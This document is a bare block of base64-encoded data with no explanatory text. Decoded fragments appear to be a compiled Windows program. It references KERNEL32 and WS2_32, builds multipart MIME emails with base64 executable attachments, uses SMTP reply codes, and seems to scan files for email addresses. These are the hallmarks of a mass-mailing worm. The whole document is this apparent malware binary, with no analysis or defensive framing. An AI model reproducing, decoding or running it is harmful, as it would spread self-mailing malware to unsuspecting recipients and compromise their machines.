TThakDgDZgIECXH/gbjCkQFAwhXGgAkOtEzNIRUB6xhQRQhMAVMCFM7gAw8BC5VsKRCmBKWeKAzI bwTvFCziApwH3FPpCMpHWz4DCOfSKAoB9UAudGV456sOkck8B+AgkgsHLnJkYXQqJFFaSkzSTg7A FQH/qu/gzP8l4BBwQXQ4VAEPMNUQG8pMDDUgLzdWMDsRgEdldE1vZHV3bB1IYW72DJbgSxxFUk7D TDMyLnEemwd3UwAAVlAryayEwHQDQev4WF7DYIt0JCSLfCQo/LKApOhoAAAAc/gzyehfAAAAcxoz wOhWAAAAcyBBsBDoTAAAABLAc/d1PKrr1uhKAAAASeIQ6EAAAADrKKzR6HRLE8nrHJFIweAIrOgq AAAAPQB9AABzCoD8BXMGg/h/dwJBQZWLxVaL9yvw86Re65MC0nUFihZGEtLDM8lB6O7///8Tyejn ////cvLDK3wkKIl8JBxhwggAYOgjAAAAi2QkCGRnjwYAAMcEJEwnAADoc/3///+VzBIAAGH5G8DC DAAr22T/M2SJI4tEJDBmi1gCU4tABFBqAuh0EAAAWFtyB6kIAAAAdbpkZ48GAABYYemXaP//VVFS uMFPnwa5bU7GQffhBTkwAAAl////B+gU/f//iYXPCwAAi0wkECvS9/GSWlldwgQAyAgBAGD8i30Q i9czwLkgAAAA86v/Aot1FI29+P7//7kgAAAA86WLRQzorAIAAIld/MdF+AAAAACH24tFDItV+A+j EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd AQAAi0dIi05IO8EPggT///8Ph0kBAACLR0SLTkQ7wQ+C8P7//w+HNQEAAItHQItOQDvBD4Lc/v// D4chAQAAi0c8i048O8EPgsj+//8Phw0BAACLRziLTjg7wQ+CtP7//w+H+QAAAItHNItONDvBD4Kg /v//D4flAAAAi0cwi04wO8EPgoz+//8Ph9EAAACLRyyLTiw7wQ+CeP7//w+HvQAAAItHKItOKDvB D4Jk/v//D4epAAAAi0cki04kO8EPglD+//8Ph5UAAACLRyCLTiA7wQ+CPP7//w+HgQAAAItHHItO HDvBD4Io/v//d3GLRxiLThg7wQ+CGP7//3dhi0cUi04UO8EPggj+//93UYtHEItOEDvBD4L4/f// d0GLRwyLTgw7wQ+C6P3//3cxi0cIi04IO8EPgtj9//93IYtHBItOBDvBD4LI/f//dxGLB4sOO8EP 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 DAAAAP+1SBwAAOh7CQAAi7WIHwAAVmogWa2L0K2F0nQHUFLoYgkAAOLv/5WzIgAA64tg6H/w//9o 8EkCAP+VuyIAAI2FkiQAAFD/tUgcAAD/dCQs6IgDAABYWGHCBAD5YGY9YPiLfCQkchNoBAEAAFfo QfD///+VhyIAAAP4sSC68t9vA9PKagxZsFyqi8GKwiQPBEGqwcIE4vSID8ZH/C5hwgQAYGgAAAEA akDoBfD///+VtyIAAIXAD4THAgAAUCvJiYgAeAAAi1UIiZAA+AAAi1UGiZAE+AAAx4AI+AAALkVY RYmIDPgAAFBqCOjuAgAAWBvJUYt8JASBxwD8AABqHuh98v//uS0tVkWRq2aDwQVqJOhr8v//PBpy BAQWZj0EQari7IvBq4t0JASBxgB4AACLBCSFwHUGrITAdftOi/7oPQAAAE1JTUUtVmVyc2lvbjog MS4wDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IgBe6NMBAADo3QEA AE9PuCINCgCrT+jJAQAAiwQkhcB1UOgxAAAAQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFy c2V0PSJ1cy1hc2NpaSINCg0KAF7ofQEAAIt0JATodAEAAGa4DQpmq+hyAQAA6C8AAABDb250ZW50 LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTsgbmFtZT0iAF7oLwEAAIt0JASBxgD4AADo IAEAAOhSAAAAIg0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0DQpDb250ZW50LURp c3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iAF7owwAAAIt0JASBxgD4AADotAAAALAi qrgNCg0Kq+j/7f//i4XyHAAAi7UmHwAA6JYIAAAD+eiXAAAAx0f+LS0NCsdHAgAAAABYgSwkAIj/ /2Doy+3//2gBAQAAK8Be6KsLAAByVSvmVFb/lbASAACFwHVBVOh8AAAAgDwkAHQvi/ToW+///2oA UVbozQMAAGoAUOgxDAAAchVqAVDoJwwAAP+0JCEBAABW6BkJAAD/lbQSAACBxAEBAABoIL8CAP+V uyIAAGHriKyEwHQDquv4w7gNCi0tq1ZRi3QkEIHuAAT//+jg////ZrgNCmarWV7DYcIEAGDoJu3/ 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 